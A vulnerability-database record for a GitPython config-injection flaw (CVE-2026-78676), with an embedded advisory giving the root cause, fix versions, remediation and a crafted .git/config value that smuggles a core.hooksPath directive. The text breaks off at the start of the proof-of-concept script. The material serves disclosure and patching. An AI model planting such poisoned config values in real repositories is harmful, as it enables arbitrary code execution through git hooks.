{"id":"CVE-2026-78676","aliases":["ALPINE-CVE-2026-78676","CLSA-2026-1789368141","DEBIAN-CVE-2026-78676","EUVD-2026-65222","GHSA-284h-m62q-gf8w","GHSA-9557-234j-7rv9","OESA-2026-3699","OESA-2026-3700","OESA-2026-3721","PYSEC-2026-3786","ROOT-APP-PYPI-CVE-2026-78676","ROOT-APP-PYPI-GHSA-9557-234j-7rv9","SUSE-SU-2026:4072-1","openSUSE-SU-2026:11615-1","openSUSE-SU-2026:21874-1"],"status":"published","title":"GitPython before 3.1.59 Remote Code Execution via Config Injection","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00556,"percentile":0.46821,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-88","CWE-94"],"published":"2026-08-25T01:30:33Z","modified":"2026-11-03T06:32:57Z","fixes":[{"ecosystem":"PyPI","package":"gitpython","fixed_in":["3.1.59"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.24","package":"py3-gitpython","fixed_in":["3.1.61-r0"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"python-git","fixed_in":["3.1.30-1+deb12u3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-git","fixed_in":["3.1.44-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-git","fixed_in":["3.1.61-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"GitPython","fixed_in":["3.1.47+aikido.8","3.1.47+aikido.9","3.1.46+aikido.12","3.1.58+aikido.1","3.1.58+aikido.2","3.1.58+aikido.3","3.1.46+aikido.11","3.1.46+aikido.13"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"gitpython","fixed_in":["3.1.58+aikido.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.58"},{"fixed":"3.1.59"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"py3-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.61-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.31"},{"fixed":"3.1.31.post12+tuxcare"}]}],"versions":["3.1.31","3.1.31.post1+tuxcare","3.1.31.post10+tuxcare","3.1.31.post11+tuxcare","3.1.31.post2+tuxcare","3.1.31.post3+tuxcare","3.1.31.post4+tuxcare","3.1.31.post5+tuxcare","3.1.31.post6+tuxcare","3.1.31.post7+tuxcare","3.1.31.post8+tuxcare","3.1.31.post9+tuxcare"],"bundled":5},{"source":"osv","ecosystem":"Debian:12","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.30-1+deb12u3"}]}],"versions":["3.1.30-1","3.1.30-1+deb12u2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-1+deb13u1"}]}],"versions":["3.1.44-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.61-1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1","3.1.50-1"]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.52","3.1.53","3.1.54","3.1.55","3.1.56","3.1.57","3.1.58","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59-1.oe2403sp1"}]}],"bundled":17},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59-1.oe2403sp3"}]}],"bundled":17},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59-1.oe2403sp4"}]}],"bundled":17},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.52","3.1.53","3.1.54","3.1.55","3.1.56","3.1.57","3.1.58","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"Root:PyPI","package":"GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.47+aikido.8"},{"fixed":"3.1.47+aikido.9"},{"fixed":"3.1.46+aikido.12"},{"fixed":"3.1.58+aikido.1"},{"fixed":"3.1.58+aikido.2"},{"fixed":"3.1.58+aikido.3"},{"fixed":"3.1.46+aikido.11"},{"fixed":"3.1.46+aikido.13"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.58+aikido.1"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.47+aikido.8"},{"fixed":"3.1.47+aikido.9"},{"fixed":"3.1.46+aikido.12"},{"fixed":"3.1.58+aikido.1"},{"fixed":"3.1.58+aikido.2"},{"fixed":"3.1.58+aikido.3"},{"fixed":"3.1.46+aikido.11"},{"fixed":"3.1.46+aikido.13"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59-3.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-160000.4.1"}]}],"bundled":26}],"products":[{"vendor":"gitpython-developers","product":"gitpython"},{"vendor":"gitpython_project","product":"gitpython"}],"references":[{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w","tags":["vendor-advisory","Exploit","Vendor Advisory","Mitigation","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection","tags":["third-party-advisory","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78676","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-284h-m62q-gf8w"},{"url":"https://github.com/advisories/GHSA-9557-234j-7rv9"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-78676","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/78xxx/CVE-2026-78676.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-78676","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3699","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73619","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73620","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73621","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73622","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73623","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73624","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73625","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76217","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76218","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76219","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76220","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76221","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76222","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78675","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78677","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78679","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3700","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3721","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264072-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264604","tags":["report"]},{"url":"https://bugzilla.suse.com/1264605","tags":["report"]},{"url":"https://bugzilla.suse.com/1264606","tags":["report"]},{"url":"https://bugzilla.suse.com/1264608","tags":["report"]},{"url":"https://bugzilla.suse.com/1273357","tags":["report"]},{"url":"https://bugzilla.suse.com/1273358","tags":["report"]},{"url":"https://bugzilla.suse.com/1273359","tags":["report"]},{"url":"https://bugzilla.suse.com/1273364","tags":["report"]},{"url":"https://bugzilla.suse.com/1273414","tags":["report"]},{"url":"https://bugzilla.suse.com/1273498","tags":["report"]},{"url":"https://bugzilla.suse.com/1275745","tags":["report"]},{"url":"https://bugzilla.suse.com/1275746","tags":["report"]},{"url":"https://bugzilla.suse.com/1275747","tags":["report"]},{"url":"https://bugzilla.suse.com/1275748","tags":["report"]},{"url":"https://bugzilla.suse.com/1275749","tags":["report"]},{"url":"https://bugzilla.suse.com/1275750","tags":["report"]},{"url":"https://bugzilla.suse.com/1275751","tags":["report"]},{"url":"https://bugzilla.suse.com/1275752","tags":["report"]},{"url":"https://bugzilla.suse.com/1275753","tags":["report"]},{"url":"https://bugzilla.suse.com/1275754","tags":["report"]},{"url":"https://bugzilla.suse.com/1275755","tags":["report"]},{"url":"https://bugzilla.suse.com/1275756","tags":["report"]},{"url":"https://bugzilla.suse.com/1275757","tags":["report"]},{"url":"https://bugzilla.suse.com/1276430","tags":["report"]},{"url":"https://bugzilla.suse.com/1276431","tags":["report"]},{"url":"https://bugzilla.suse.com/1276432","tags":["report"]},{"url":"https://bugzilla.suse.com/1276433","tags":["report"]},{"url":"https://bugzilla.suse.com/1276434","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42215","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42284","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44243","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44244","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67322","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69097","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73619","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76217","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76218","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76220","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76221","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76222","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78675","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78679","tags":["web"]},{"url":"","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1279905","tags":["report"]},{"url":"https://bugzilla.suse.com/1279906","tags":["report"]},{"url":"https://bugzilla.suse.com/1279907","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87819","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-78676","title":"GitPython before 3.1.59 Remote Code Execution via Config Injection","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"published","published":"2026-08-25T01:30:33.754Z","modified":"2026-10-08T15:25:07.826Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-88"],"updated_at":"2026-11-02T13:34:48.658051Z"}],"euvd":[{"id":"EUVD-2026-65222","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"published","published":"2026-08-25T01:30:33Z","modified":"2026-10-08T15:25:07Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T17:27:31.218078Z"}],"ghsa":[{"id":"GHSA-284h-m62q-gf8w","title":"GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","description":"- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive — live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython's own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S'replace(\"\\n\", \"\\n\\t\")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = 